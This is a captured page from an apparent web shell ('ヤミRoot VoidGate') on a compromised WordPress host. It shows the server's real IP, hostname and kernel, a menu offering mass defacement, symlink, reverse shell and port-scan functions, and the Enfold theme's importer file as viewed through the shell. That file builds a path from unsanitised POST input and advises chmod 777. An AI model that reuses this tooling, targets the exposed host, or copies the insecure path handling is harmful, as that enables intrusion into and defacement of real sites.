ヤミRoot VoidGate
User / IP
:
216.73.217.27
Host / Server
:
188.165.53.185 / urgencetoiture.be
System
:
Linux webm002.cluster121.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
urgencetin
/
www
/
wp-content
/
themes
/
enfold
/
framework
/
php
/
Viewing: inc-avia-importer.php
<?php if ( !defined('WP_LOAD_IMPORTERS') ) define('WP_LOAD_IMPORTERS', true); // Load Importer API require_once ABSPATH . 'wp-admin/includes/import.php'; $avia_importerError = false; $default_path = get_template_directory() ."/includes/admin/dummy"; if(isset($_POST['files'])) $default_path = get_template_directory() .$_POST['files']; $import_filepath = apply_filters('avf_import_dummy_filepath', $default_path, THEMENAME) ; //check if wp_importer, the base importer class is available, otherwise include it if ( !class_exists( 'WP_Importer' ) ) { $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php'; if ( file_exists( $class_wp_importer ) ) { require_once($class_wp_importer); } else { $avia_importerError = true; } } //check if the wp import class is available, this class handles the wordpress XML files. If not include it //make sure to exclude the init function at the end of the file in kriesi_importer if ( !class_exists( 'WP_Import' ) ) { $class_wp_import = AVIA_PHP . 'wordpress-importer/wordpress-importer.php'; if ( file_exists( $class_wp_import ) ) { require_once($class_wp_import); } else { $avia_importerError = true; } } if($avia_importerError !== false) { echo "The Auto importing script could not be loaded. please use the wordpress importer and import the XML file that is located in your themes folder manually."; } else { if ( class_exists( 'WP_Import' )) { include_once('wordpress-importer/avia-import-class.php'); } if(!is_file($import_filepath.'.xml')) { echo "The XML file containing the dummy content is not available or could not be read in <pre>".get_template_directory() ."</pre><br/> You might want to try to set the file permission to chmod 777.<br/>If this doesn't work please use the wordpress importer and import the XML file (should be located in your themes folder: dummy.xml) manually <a href='/wp-admin/import.php'>here.</a>"; } else { if(!isset($custom_export)) { do_action('avia_import_hook'); $wp_import = new avia_wp_import(); $wp_import->rename_existing_menus(); $wp_import->fetch_attachments = true; $wp_import->import($import_filepath.'.xml'); $wp_import->saveOptions($import_filepath.'.php'); $wp_import->set_menus(); do_action('avia_after_import_hook'); // todo: rename. make sure to update hook name of our woocommerce import script } else { $import = new avia_wp_import(); $import->saveOptions($import_filepath.'.php', $custom_export); do_action('avia_after_custom_import_hook'); } //generic hook. example use: after demo setting import we want to regen cached stylesheet do_action( 'ava_after_import_demo_settings' ); update_option('av_demo_content_imported', true); } }
Coded With 💗 by
0x6ick